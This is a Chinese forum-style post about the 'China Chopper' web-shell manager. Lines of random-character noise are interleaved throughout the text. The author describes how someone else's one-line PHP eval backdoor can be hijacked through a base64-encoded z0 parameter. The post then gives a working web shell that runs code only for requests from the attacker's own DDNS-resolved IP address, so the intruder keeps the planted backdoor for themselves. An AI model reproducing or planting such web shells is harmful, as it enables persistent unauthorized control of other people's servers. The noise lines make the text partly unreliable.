今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
. l- x. `( o0 W+ A3 Z/ z7 ]$ `/ h7 d4 _& S, Z8 r
就算你设置了密码,使用了eval($_REQUEST['moyo']);
# t( N- t0 h; `* K" [1 n9 d2 D* P z
5 J* N: J: j) v* R9 g c0 ]但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门1 i; ?$ U( `# L3 {0 F
R2 k# ]# ?: H Y
因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
7 [+ D9 H1 Q9 y/ q' F# j6 Q5 e% ]- F2 {/ P
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了' [9 v6 {; i! Q! m. k
7 r/ K d* c( m6 ]3 P
不知道是设计缺陷还是故意留的后门
0 F$ K5 D5 f1 C- h9 M$ g
# }+ p, f1 l" Z: o2 k$ q如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
' y: }" F+ t) y# l
0 w! }. k; O% o* X9 q% f. A本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org
, m/ r& O! D/ I' A! }
; R: X) s3 `) b. E; O% w然后一句话后门这样写
6 H9 W/ f" A6 G( y# L6 E- a1 o. X J8 }
<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
- Q$ k- G7 P, A, ~这样就可以让一句话后门只允许自己的电脑连接了
$ z& e# r4 p8 t! ~2 x; ?0 T* J. k+ P. |
|